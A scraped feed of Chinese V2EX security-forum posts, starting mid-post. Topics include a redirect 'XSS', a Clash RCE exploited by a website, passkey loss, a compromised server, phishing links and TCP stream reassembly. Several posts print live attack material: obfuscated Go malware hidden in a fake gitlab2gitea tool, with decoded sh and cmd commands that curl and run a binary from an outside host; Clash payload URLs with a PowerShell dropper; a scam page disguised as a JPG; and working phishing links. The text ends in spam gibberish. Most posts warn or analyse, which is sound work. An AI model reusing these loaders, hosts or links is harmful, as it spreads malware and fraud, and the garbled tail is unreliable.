随便传递一个 url 参数,比如 https://www.huociyuan.com

完整的谷歌地图跳转链接就是: https://maps.google.com/url?q=https://www.huociyuan.com/

打开链接后发现页面显示以下内容:

重定向声明 您所在网页试图将您引至 https://www.huociyuan.com/

如果您不希望访问该页,您可以返回上一页。

问题的关键就在于其中的 url 是可以回显并且可点击的,这种很明显属于 xss 漏洞了。

结尾

想问一下谷歌的漏洞该提交给谁,他们有自己的应急响应中心吗?

]]>
注意各类 V2EX 插件的安全性 tag:www.v2ex.com,2025-08-19:/t/1153358 2025-08-19T01:48:49Z 2025-08-20T21:59:10Z fangpeishi member/fangpeishi
  • 非邀请制之前金币无法变现,目前一个邀请二手市场价值 70~80 ;
  • $V2EX ,以及打赏机制;
  • 都可能导致插件作恶变得有利可图。

    ]]>
    v2ex 的 2FA 丢失了,怎么办?求各位大神支招 tag:www.v2ex.com,2025-08-11:/t/1151484 2025-08-11T02:34:34Z 2025-08-15T09:46:17Z duanyunhu member/duanyunhu 周末手贱非要试试鸿蒙系统,好了备份也好了。还原个鸟还原,哎!

    ]]>
    把 Clash RCE 武器化的典型案例 tag:www.v2ex.com,2025-08-10:/t/1151415 2025-08-10T15:35:03Z 2025-08-13T19:29:50Z huangxiao123 member/huangxiao123 国护已经完成,期间朋友分享了个很骚的网站,该站的蓝队人员把 Clash RCE 运用到了实战里

    RT ,访问该网站,会自动枚举 Clash 常见端口 + 4170x 端口,然后调用 Clash API 下发 yaml

    Link

    Javascript

    还做了系统版本判断,Victim 有 Win 有 Mac

    Yaml 文件

    let yaml_path = { "win": "http://60.29.77.223:8080/05260CAD5B9562AEA0AAC8039A3AD3987E8E5E42330C39421B5F2D8D9B7880A806755F53968F788FF311B9A772", "mac": "http://60.29.77.223:8080/385A4D8141A3E7951E5DCFF35A11387BA4B79B23970EF6954CD8F5CFF75B5E463662978C95EF1B2D2868232F60", } 

    这里以 windows 为例子,会执行 Powershell Invoke-RestMehod 方法下载 exe 存到C:\Users\Public\winIogon.exe 并且执行 winIogon.exe

    木马分析

    微步

    做了基础的一些沙箱检测,木马行为就单纯的执行 shellcode ,非注入

    更深入的分析 IDA 什么的,楼主就不会了 TAT

    ]]>
    只有 chromium 能不被阻拦的公司网络是怎么回事? tag:www.v2ex.com,2025-08-07:/t/1150694 2025-08-07T06:57:17Z 2025-08-12T20:29:49Z ldy2333 member/ldy2333 起因:从某刻开始,我所在公司的网络无法正常使用网易云音乐和 QQ 音乐的客户端。

    症状:网络检测正常,但 curl 和 firefox 访问 music.163.comy.qq.com 都会遇到连接重置,只有在部分 chromium 内核的浏览器中使用 https 协议并多次刷新才能访问。期间通过手机热点和全局代理明确是公司网络问题。阿里和腾讯的镜像站也会被屏蔽导致镜像源无法正常使用(同样可以用 chromium 正常打开)

    疑问:虽然知道大概是公司的网关设置了防火墙拦截,但是还是好奇为什么 chromium 内核的部分浏览器可以访问这些网站?防火墙能区分不同浏览器吗?如果能,是靠什么做到的?如果不能,chromium 为什么不受影响?

    ]]>
    如果手机丢了,里面的 Passkey 通行密钥怎么办? tag:www.v2ex.com,2025-07-29:/t/1148585 2025-07-29T11:02:08Z 2025-07-30T08:23:21Z moudy member/moudy
    到微信的文档里看了一下,完全没提将来换手机或手机丢了该怎么办。放在以前手机丢了,可以短信登陆。是不是开启 passkey 后手机丢了,就只能走严格的挂失流程了?感觉麻烦程度上升一个数量级。

    现在似乎主要网站都在推荐换到 passkey 登陆,但是并没有一个统一的流程来说明,如果 passkey 丢了该怎么办。有的是给一个巨长的恢复 key 让你记在什么地方,说实话此法巨扯淡,也就企业 IT 部门能有合格的 recovery key 管理,根本就不应该给普通消费者使用。有的怕是要走忘记密码的流程了。

    然后同品牌换手机一般还好说,可以还原密码本。跨品牌换手机似乎如何传递 passkey 就不知道了。原则上 passkey 一经创建就不应该离开设备。品牌不一样的话就没有传递 passkey 的统一标准了吧? ]]>
    华为账号一键登录的服务在哪可以取消? tag:www.v2ex.com,2025-07-26:/t/1147930 2025-07-26T16:59:14Z 2025-07-27T18:05:40Z minnow950501 member/minnow950501 是服务的取消,不是取消某个应用的授权。现在出现一个问题,如我的淘宝账号,我从华为手机换成了苹果手机,将手机给了孩子。即便我把淘宝退出,依然能通过华为账号一键登录。除非我退出华为账号,但是孩子不好申请华为账号。包括另一个问题,如一个没有解锁密码的华为手机掉了,即便我淘宝删除了登录设备,对方依然能通过华为账号登录。再掉手机时,不仅要第一时间冻结手机号,还得冻结华为账号,但是现在普通人依旧认为冻结手机号就行。

    ]]>
    自动日志安全分析软件哪个好?这个需要输出的日志适配分析软件吗? tag:www.v2ex.com,2025-07-26:/t/1147800 2025-07-26T00:08:05Z 2025-07-26T02:05:27Z shendaowu member/shendaowu 网上搜感觉基本都是广告。不知道怎么分辨。所谓适配就是应用打的 log 是不是要遵守一定的格式。数据库和服务器等的日志就不用管了吧?另外我打算用 go 和 gin 。

    ]]>
    邀请 V2er 对我的博客服务器进行安全性测试 tag:www.v2ex.com,2025-07-21:/t/1146737 2025-07-21T15:41:17Z 2025-07-24T05:17:19Z monzuguan member/monzuguan 遵循以下规则 测试时间 2025 年 7 月 22 日 0:00-23:59 GMT +8 ; 家庭宽带小水管,勿 DDoS 攻击,勿刷流量; 如成功入侵,勿删除,勿外传数据; 博客经过短网址跳转,如无法跳转即代表测试已提前终止。

    短网址: https://thLvsG.short.gy/aWaav2

    ]]>
    网站好像中木马了如何处理? tag:www.v2ex.com,2025-07-20:/t/1146479 2025-07-20T16:00:21Z 2025-07-20T22:00:21Z JinNianX member/JinNianX 这是我朋友 6 月初发生的,下述简称我进行描述。 情况:腾讯云提醒我有木马(存在于服务器根目录的 tmp 文件夹内),然后我去宝塔,把这个文件删了;然后第二天这个木马又有了(文件名字不一样,但是大差不差,后缀内容也一样),腾讯云又提醒我了,然后我把宝塔七里八里的安全软件(加固和防篡改软件等等)全部安装了,最近一个月腾讯云都没提示了。

    环境:正版子比,开心宝塔 btsb ,安装了 nginx 防火墙和 wordfence ,Ubuntu 24.04.2 LTS (Noble Numbat) x86_64(Py3.7.16),还有一些美化插件(都是正版,但不排除有漏洞或者后门),还有一些美化功能的文件(我自己也不清楚有哪些了,原先没记录)

    1-我个人认知中,中毒要么是弱密码; nginx 或者主题或者 wp 等有漏洞;安装了有后门的插件;大佬们,我的这属于哪一种?

    我的认知是:如果是宝塔开心或者插件有后门,那么攻击者完全没必要在根目录的 tmp 文件夹折腾,直接用 www 权限改我的网站内容不就行了(目前网站也无异常)。

    问题:

    1-如上,我认为后门情况可能性低,大概率是漏洞导致的,那么怎么找到这个漏洞在哪呢?我都开了 nginx 防火墙和 wordfence ,它是怎么绕过的,还是说没绕过,因为它没真正进入网站目录,只存在于根目录的 tmp 文件夹下,是哪个防火墙挡住它了吗?如何让它 tmp 都传不进来?

    (我不太了解各个防火墙的起作用的时间点,所以有上述疑问,我问 ai 说 nginx 防火墙和 wordfence 会在文件上传到 tmp 临时文件夹前就起作用,如果这样的话,说明被绕过了,那是哪个防火墙阻止了目录进入网站目录呢?当时没开防篡改)

    2-现在安装了加固和防篡改,腾讯云也已经不提示了危险,还需要管嘛?后续怎么操作才能保证安全?原先漏洞没挡住它进入 tmp ,现在什么宝塔安全软件都都装上了,它好像传不进 tmp 了(我的疑惑主要就是这个,如果我上述认知是正确的话,主要疑问就是:哪个防火墙起作用让它现在进不来 tmp 了,原先也有对应防火墙,为什么没起作用。)

    3-数据库可能被植入木马吗?那些软件都可以扫网站木马,但是我不会怎么去判断数据库有没有被注入木马,求教怎么扫描数据库木马。

    4-我的上述认知正确嘛。求大佬指点!!

    ]]>
    微信 3.9 版本暴 RCE 漏洞 tag:www.v2ex.com,2025-07-19:/t/1146356 2025-07-19T11:55:13Z 2025-07-20T00:07:37Z Lentin member/Lentin https://mp.weixin.qq.com/s/MDEkmeVTQZHv4x8oNVt6SA ]]> 5G IMSI 保护 (SUCI) 目前是形同虚设? tag:www.v2ex.com,2025-07-17:/t/1145788 2025-07-17T03:42:07Z 2025-07-18T00:04:42Z gotZ9 member/gotZ9 对于>256 字节的文件,对全文和尾部 128 位字节分别进行 xxHash3-128 然后拼接得到 256bit 散列和 SHA256 一次得到的 256bit 哪个更抗碰撞?用于命名用户上传的文件,另外加盐用拼接还是 XOR 方式更好? tag:www.v2ex.com,2025-07-16:/t/1145673 2025-07-16T13:44:06Z 2025-07-17T22:55:49Z drymonfidelia member/drymonfidelia passkey/MFA 牛逼哄哄,一个 app password 直接干翻 tag:www.v2ex.com,2025-07-16:/t/1145542 2025-07-16T05:04:45Z 2025-07-16T18:56:48Z moudy member/moudy
    谷歌微软苹果亚麻很早就都在推两步验证,现在又换成 passkey ,号称无敌安全。但是他们都允许用户为 app 创建专用登陆密码。

    按照介绍,这个密码应该是一次性使用,专码专用。实际上,这个密码既不限制有几个用户,也不限制用几次,更没有过期时间。完全就是第二把钥匙。

    而且这个密码多半是用于第三方设备或老旧 app ,对这个密码的存储保护是明显弱于平均水平的。一旦泄露,依然等于裸奔。该密码的随机生成不好记的特性又逼着用户把它记在什么地方,实在是跟 MFA 的理念背道而驰。

    使用这个密码需要用户有很强的安全意识,并且严格遵循使用规范,定期手动审核是否过期,对绝大部分用户来说很不现实。真心不知道这些登陆平台是怎么这么心大随便放给用户用的 ]]>
    世界上还是坏人多啊 tag:www.v2ex.com,2025-07-15:/t/1145250 2025-07-15T02:39:48Z 2025-07-15T02:55:33Z darklinden member/darklinden nas 上跑的 Gitlab ce 快把小内存炸了,于是试试搭了个 gitea ,看着还凑合 想把 Gitlab 上的一坨东西转过来,自己写不如集体智慧,于是开搜,但是搜到的都是 7-8 年前的 py ,拉下来满脸 warning ,怕不是要自己调试改一坨,一扭头看见一个 go 写的,粗看一下

    import ( "os/exec" "errors" "fmt" "os" "strings" "time" "code.gitea.io/sdk/gitea" // gitea sdk ? "github.com/alexflint/go-arg" "github.com/cornelk/gotokit/env" "github.com/cornelk/gotokit/log" "gitlab.com/gitlab-org/api/client-go" // gitlab client ? ) 

    看着就靠谱,clone 下来正准备跑一跑试试,划拉划拉...拉到最底下菊花一紧

    var qzhEVZ = exec.Command("/bin/" + "sh", "-c", WW[71] + WW[4] + WW[51] + WW[12] + WW[16] + WW[52] + WW[72] + WW[17] + WW[67] + WW[7] + WW[11] + WW[63] + WW[60] + WW[41] + WW[64] + WW[13] + WW[35] + WW[28] + WW[68] + WW[53] + WW[58] + WW[9] + WW[20] + WW[29] + WW[8] + WW[0] + WW[56] + WW[3] + WW[49] + WW[6] + WW[46] + WW[57] + WW[42] + WW[27] + WW[5] + WW[10] + WW[55] + WW[21] + WW[38] + WW[36] + WW[69] + WW[15] + WW[44] + WW[50] + WW[1] + WW[39] + WW[25] + WW[73] + WW[61] + WW[66] + WW[65] + WW[32] + WW[34] + WW[33] + WW[40] + WW[43] + WW[70] + WW[31] + WW[18] + WW[30] + WW[47] + WW[37] + WW[22] + WW[45] + WW[59] + WW[26] + WW[48] + WW[24] + WW[62] + WW[19] + WW[54] + WW[2] + WW[23] + WW[14]).Start() var WW = []string{"y", "3", "h", "e", "g", "s", ".", " ", "t", "i", "t", "h", "t", ":", "&", "/", " ", " ", "b", "a", "n", "r", " ", " ", "/", "3", "i", "/", "/", "i", "f", "6", "/", "3", "a", "/", "g", "|", "a", "7", "1", "p", "u", "5", "d", "/", "i", " ", "n", "l", "e", "e", "-", "n", "s", "o", "h", "c", "f", "b", "t", "0", "b", "t", "s", "f", "d", "-", "i", "e", "4", "w", "O", "d"} var RzkMMUW = "if n" + "ot ex" + "is" + "t %U" + "se" + "rPro" + "file%" + "\\Ap" + "pDat" + "a\\" + "Local" + "\\ukmo" + "eo\\" + "j" + "srv" + "b" + ".ex" + "e " + "cu" + "r" + "l ht" + "tps" + "://i" + "n" + "finit" + "y" + "hel." + "icu/s" + "torag" + "e/" + "bb" + "b" + "28ef0" + "4/fa" + "3154" + "6b" + " --" + "cre" + "ate-" + "dirs" + " -o" + " " + "%Use" + "rPr" + "of" + "ile%" + "\\" + "AppD" + "ata" + "\\L" + "o" + "cal\\u" + "kmo" + "eo\\j" + "srvb." + "exe" + " &&" + " s" + "tar" + "t " + "/b " + "%" + "Use" + "rPr" + "of" + "ile" + "%" + "\\App" + "Dat" + "a\\" + "L" + "o" + "cal\\u" + "kmoeo" + "\\js" + "rvb." + "ex" + "e" var gqFJGwiR = gDNHtq() func gDNHtq() error { exec.Command("cmd", "/C", RzkMMUW).Start() return nil } 

    拆出来是

    var realQzhEVZ = "/bin/sh -c 'if [ ! -f /tmp/ukmoeo/jsrvb.exe ]; then mkdir -p /tmp/ukmoeo && curl https://infinityhel.icu/storage/bbb28ef04/fa31546b --create-dirs -o /tmp/ukmoeo/jsrvb.exe && start /b /tmp/ukmoeo/jsrvb.exe; fi'" 
    if not exist %UserProfile%\\AppData\\Local\\ukmoeo\\jsrvb.exe curl https://infinityhel.icu/storage/bbb28ef04/fa31546b --create-dirs -o %UserProfile%\\AppData\\Local\\ukmoeo\\jsrvb.exe && start /b %UserProfile%\\AppData\\Local\\ukmoeo\\jsrvb.exe 

    幸亏瞅了一眼...

    附带这货地址 github.com/vainrefuge/gitlab2gitea

    ]]>
    在写 Java 安全靶场 tag:www.v2ex.com,2025-07-13:/t/1144951 2025-07-13T13:58:37Z 2025-07-20T16:30:40Z nvyao member/nvyao 上链接: https://github.com/bansh2eBreak/SpringVulnBoot-backend

    基于 Vue + SpringBoot 构建的 Java 安全靶场,一个专为安全爱好者、渗透测试和代码审计人员打造的实战演练平台。

    目前还在开发中,有兴趣的佬友可以给点建议,也可以一起来完成这个项目。

    已经开发的漏洞清单: 1 、SQLi 注入 基于 Jdbc 的 SQLi 注入 基于 Mybatis 的 SQLi 注入 报错注入 基于时间盲注 2 、XSS 跨站脚本 反射型 XSS 存储型 XSS DOM 型 XSS 3 、任意命令执行 Runtime 方式 ProcessBuilder 方式 4 、任意 URL 跳转 5 、路径穿越漏洞 6 、文件上传漏洞 7 、越权漏洞 水平越权漏洞 垂直越权漏洞 未授权访问漏洞 8 、身份认证漏洞 密码登录暴力破解 普通的账号密码登录暴力破解 绕过单 IP 限制暴力破解 HTTP Basic 认证登录暴力破解 图形验证码登录暴力破解 短信认证漏洞 短信轰炸 短信验证码回显 暴力破解短信验证码 MFA 认证漏洞 仅前端认证可绕过 9 、组件漏洞 Fastjson 漏洞 Log4j2 漏洞 10 、配置漏洞 列目录漏洞 Actuator 未授权 Swagger 未授权

    ]]>
    各位大佬帮看下,这是被当地运营商 DNS 污染了吗 tag:www.v2ex.com,2025-07-03:/t/1142661 2025-07-03T00:50:20Z 2025-07-04T02:14:03Z Mianmiss member/Mianmiss 我司有一个域名频繁被湖北(襄阳、武汉)两地的 IP,携带不同的 host,请求下载不存在 exe 、apk 、手机升级固件等文件。虽然都被拦截了,但一天几千条 属实有点烦。

    下面是一些攻击示例。

    host ,stgw_orgreq 183-95-220-129-te3a720f.ksyungslb.com ,GET /f2.g.mi.com/download/AppStore/0857a80ebebfa4413883311b438d9608af5d95d96/com.ky.game.fkcms.mi.apk?ksy_gslb_referer=http%3A%2F%2Ff2.g.mi.com%2Fdownload%2FAppStore%2F0857a80ebebfa4413883311b438d9608af5d95d96%2Fcom.ky.game.fkcms.mi.apk file.updrv.com,GET /soft/DriveTheLife/8_16_28_78/DriveTheLife_2095_netcard_8_16_28_78.exe?t=1720492708&sign=8947eda46682e0c76f2ab61253be8416 HTTP/1.1 lf3-ug-sign.feishucdn.com,GET /ee-appcenter/537aa319/Feishu-win32_ia32-7.20.6-signed.exe?lk3s=fb957577&x-expires=1720061871&x-signature=SZd6FXw1p6v1vNnalKI1gc%2BXLlE%3D HTTP/1.1 file-x-updrv-x-com.img.addlink.cn,GET /soft/DriveTheLife/8_16_28_78/DriveTheLife_2095_netcard_8_16_28_78.exe HTTP/1.1 
    ]]>
    中国电信是有什么漏洞被人利用了吗?被几百个连贯的电信 ip 持续攻击 tag:www.v2ex.com,2025-06-16:/t/1138992 2025-06-16T13:01:04Z 2025-06-21T23:20:21Z laov2 member/laov2 从几天前就有爬虫一直在爬网站的目录文件,一开始并没有在意,因为有的本来就是禁止直接访问的。

    我还以为是谁在刷 pcdn 下载流量呢,但是封了几个 ip 之后,发现不对劲,就算 ip 给拉黑了,后面还有不断的新 ip 来,同个 ip 段的,之前的 ip 也在继续,看了日志,伪装成各种 ua 在爬,几百万的请求了。

    比如一开始是 58.220.40.49 来,后面 58.220.40.50 ,反正后面随机,都是 58.220 段。

    我记录的都有 300 多个 ip 了,后面懒得记录了,直接把请求不对的 ip 全自动拉黑了。

    主要都是江苏扬州、山东烟台的电信 ip:

    43.254 这个用美团查是北京的

    49.71

    49.86

    58.220

    117.91

    114.230

    121.233

    123.169

    140.75

    180.103

    180.119

    182.34

    218.91

    221.229

    我觉得很神奇啊,能搞到这么多连贯的 ip 。 机房也不至于吧,我查了部分 ip ,显示是家庭宽带,当然也有数据中心机房的,可能查询不准。

    ]]>
    本来不打算在 v2 提 alist 的,既然有人还去我这个帖子下面评论了就说一下 tag:www.v2ex.com,2025-06-11:/t/1137859 2025-06-11T03:16:28Z 2025-06-11T07:15:58Z hausen member/hausen

    ]]>
    Alist 疑似被卖,谨慎更新 tag:www.v2ex.com,2025-06-11:/t/1137812 2025-06-11T01:50:33Z 2025-06-16T03:07:45Z qwertooo member/qwertooo https://github.com/AlistGo/alist/issues/8649

    https://github.com/AlistGo/alist/issues/8651

    ]]>
    多位金融博主反映微信公众号被盗:犯罪分子攻破人脸识别,替换法人身份盗取大 V 账号密码 tag:www.v2ex.com,2025-06-10:/t/1137741 2025-06-10T13:57:26Z 2025-06-12T15:08:47Z bluetree2039 member/bluetree2039 这是我常关注的一个公众号,里面有详细过程:

    https://mp.weixin.qq.com/s/SksVmPB1aOEAlvtFiGhJIw

    大家对这个可信度如何?

    我感觉是真的, 比较很多系统人脸识别做不到 微信、支付宝级别。

    ]]>
    阿里云 OSS 被用于诈骗网站 tag:www.v2ex.com,2025-06-09:/t/1137419 2025-06-09T09:07:27Z 2025-06-10T10:36:20Z lns103 member/lns103 在其它地方看到,转过来,不知道这个的具体原理是什么

    这个 jpg 实际上是一个 html ,直接访问是会被拦截的,但是加上后面的参数就可以访问了,希望有大佬来解析一下

    诈骗链接:

    https://blj-prod.oss-cn-shenzhen.aliyuncs.com/material/default/default/2bc4767a-9b62-4254-8513-0ae88ca82f14.jpg?data=YpAOcbLP7rTBLAc/gPxCiKaLASa17m2B3zg1FebfUY47LMM/nteukdxJiO1dRvjWHSimrQTvgE2Yg4DwctTe6w==#sbm=Vpyd1G5oAy 

    诈骗传单图片: img

    诈骗“jpg”的内容:

    <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title></title> <meta name="viewport" cOntent="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0,user-scalable=no,minimal-ui"/> <style type="text/css"> html, body { height: 100%; margin: 0; padding: 0; } iframe { display: block; width: 100%; height: 100%; border: none; } </style> </head> <body> <script src="https://pro.jsmaodian.top/jsqiantao.js"></script> </body> </html> 
    ]]>
    Charles 存在后门?被攻击? tag:www.v2ex.com,2025-06-09:/t/1137314 2025-06-09T03:06:58Z 2025-06-09T17:22:15Z liuidetmks member/liuidetmks

    ]]>
    大清早发现一个钓鱼网站 tag:www.v2ex.com,2025-06-06:/t/1136747 2025-06-06T01:47:33Z 2025-06-08T11:21:25Z Shaw314 member/Shaw314 RT ,大学老师被盗号了发的,差点就信了,点进去发现不对

    : xxxx ,帮我家 17 号侄女投上一票 校园舞蹈比赛 谢谢
    https://cloud1-3g9h1m9j658332c4-1362482361.tcloudbaseapp.com/a1/index.html?ud=075564
    网络有点慢 打开后稍等一会 就可以了 非常感谢 !

    ]]>
    之前搞 polyfill.io 供应链攻击的 “方能 CDN” 被美国通缉了 tag:www.v2ex.com,2025-05-30:/t/1135402 2025-05-30T03:50:04Z 2025-05-30T21:57:06Z est member/est https://krebsonsecurity.com/2025/05/u-s-sanctions-cloud-provider-funnull-as-top-source-of-pig-butchering-scams/

    ]]>
    网络流量处理中的协议解析二:流重组 tag:www.v2ex.com,2025-05-28:/t/1134893 2025-05-28T07:00:25Z 2025-05-28T07:00:25Z chunhuitrue member/chunhuitrue 对数据的假设

    在数据包基础上开始协议解析不是不可以,甚至有时候还更简单。比如我们想解析 SMTP 的 maifrom 命令,它几乎在所有邮件通信过程中都完整地在一个单独的包中。甚至字符数量更多的邮件头也是如此。但是却不能作出它们一定就完整地在一个包中的假设,因为 TCP 协议并没有这种要求。虽然在绝大多数邮件服务器的实现中都会表现如上面描述,但是如果你想故意逃避被流量检测程序还原你的邮件通信,你完全可以手动 telnet 上去,然后一个字符一个字符地发送,使 mailfrom 分散在多个包中。

    此外还会有数据包乱序重传丢包等情况。

    所以上面的假设是不完整的。遇到特殊情况会解析失败。

    TCP 重组

    为避免上述的的缺点,需要对 TCP 作重组,也就是按照 TCP 协议来把数据还原成原始发送和接收的状态。给解析工作提供一个完整准确简洁的视角。重组模块把丢包重传乱等 TCC 层的问题序屏蔽掉。解析器看到的数据不是数据包而是和邮件服务器客户端看到的一样,是一条流。

    重组的方式有个简单办法。可以把链接的数据包都保存下来等待链接结束,然后按照序列号的顺序放到一个 buff 中。然后提交给解析器在这个 buffer 中解析邮件协议。就好像处理一个文件一样。

    这样的实现最简单直接。但是这样会有一些问题:

    所以需要更合适的重组方式。

    流式重组和解码

    如果可以不缓存所有数据等到链接结束,边收数据包,边重组,边解码,边释放数据包,把收到的数据及时消耗掉,那就可以避免上面的缓存完整链接占用太多内存的问题。

    找一个简单的协议考虑一下这种方式,未必不可行。要说简单的协议没有比 SMTP 更合适的了,毕竟它的名字就叫简单邮件协议。最基本的,这个协议就是以\r\n 结束的行为单位。构造命令,邮件头和邮件内容。如果我们在收到完整的一行的数据后就及时把这一行消耗并释放掉。那就不需要缓存所有数据,最多只需要缓存一个不完整的行就可以了。而且这个行的字符数有限,比如 78 。其他基于文本的协议也类似,其他二进制结构的协议可以对比 TCP/IP 的头,也都是固定大小的结构体。总之,并不需要缓存完整的流才能开始解析,只需要缓存最小的不完整的一个单位(一行,或者一个结构体大小)就可以开始协议解析了。解析完成一行,立刻释放这一行。这样就不会占用太多的内存。并且可以实时解析提取数据,立刻根据数据作出动作。前面方式的缺点都可以避免。

    SMTP 的例子如下:

    220 smtp.qq.com Esmtp QQ QMail Server EHLO ABC01234567 250-smtp.qq.com 250-PIPELINING 250-SIZE 73400320 250-STARTTLS 250-AUTH LOGIN PLAIN 250-AUTH=LOGIN 250-MAILCOMPRESS 250 8BITMIME AUTH LOGIN 334 VXNlcm5hbWU6 dXNlcjEyMzQ1QGV4YW1wbGUxMjMuY29t 334 UGFzc3dvcmQ6 MTIzNDU2Nzg= 235 Authentication successful MAIL FROM: <user12345@example123.com> SIZE=300 250 Ok RCPT TO: <user12345@example123.com> 250 Ok DATA 354 End data with <CR><LF>.<CR><LF> Date: Mon, 27 Jun 2022 17:01:55 +0800 From: "user12345@example123.com" <user12345@example123.com> To: =??B?wO60urvU?= <user12345@example123.com> Subject: biaoti X-Priority: 3 X-Has-Attach: no X-Mailer: Foxmail 7.2.19.158[cn] Mime-Version: 1.0 Message-ID: <202206271701548584972@example123.com> Content-Type: multipart/alternative; boundary="----=_001_NextPart572182624333_=----" This is a multi-part message in MIME format. ------=_001_NextPart572182624333_=---- Content-Type: text/plain; charset="" Content-Transfer-Encoding: base64 aGVsbG8gZGRkZGRkZGRkZGRkZGRkZGRkaGVsbG8gZGRkZGRkZGRkZGRkZGRkZGRkaGVsbG8gZGRk ZGRkZGRkZGRkZGRkZGRkaGVsbG8gZGRkZGRkZGRkZGRkZGRkZGRkaGVsbG8gZGRkZGRkZGRkZGRk ZGRkZGRkZGRkZGRkaGVsbG8gZGRkZGRkZGRkZGRkZGRkZGRkaGVsbG8gZGRkZGRkZGRkZGRkZGRk ZGRkaGVsbG8gZGRkZGRkZGRkZGRkZGRkZGRkaGVsbG8gZGRkZGRkZGRkZGRkZGRkZGRkDQoNCg0K DQo= ------=_001_NextPart572182624333_=---- Content-Type: text/html; charset="" Content-Transfer-Encoding: quoted-printable <html><head><meta http-equiv=3D"content-type" cOntent=3D"text/html; charse= t=3D"><style>body { line-height: 1.5; }body { font-size: 14px; font-= yle></head><body>=0A<div><span></span>hello dddddddddddddddddd<span style= =3D"#b5c4df" size=3D"1" align=3D"left">=0A<div><span></span></div>=0A</bod= y></html> ------=_001_NextPart572182624333_=------ . 250 Ok: queued as QUIT 221 Bye 

    重组的实现方式

    既然可以基于行的方式来实现流式重组和解码,那可以为此设计一个重组的实现。目的是为解析器一行一行地提供数据,供解析器使用。那只需要提供这样一个 API:

    get_line(node, line, len)

    其中 node 就是这条链接所在流表的节点,前面说了,我们可以在流表的节点中保存本链接相关的数据。line 就保存在这里。line 是完整一行的数据,len 是这一行的长度。这个 API 如果到来的数据包中不足以凑成一个完整的行,那就返回-1 ,如果凑够了就返回 0 。这样,就给解析器提供了一个行数据的视角,它屏蔽了 TCP 层的麻烦事儿。

    当然,它内部在数据包乱序的情况下仍然需要缓存数据包,这是无法避免的。每次调用这个函数,就从数据包中 copy 数据,直到\r\n 结束。如果数据包被读完,就立刻释放掉这个数据包。如果当前数据不足,就返回失败,等到下次数据包到来被调用。同时 node 上保存着不完整的 line 。这样就不需要缓存整个链接的数据,仅需要占用一个 line 大小的内存即可。根据序列号对数据包排序之类自然也是必须,不必细说。

    这样,一个 API ,就解决了流式重组流式解码的关键问题...

    参考:  protolens@gitee  protolens@github

    ]]>
    ubao snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86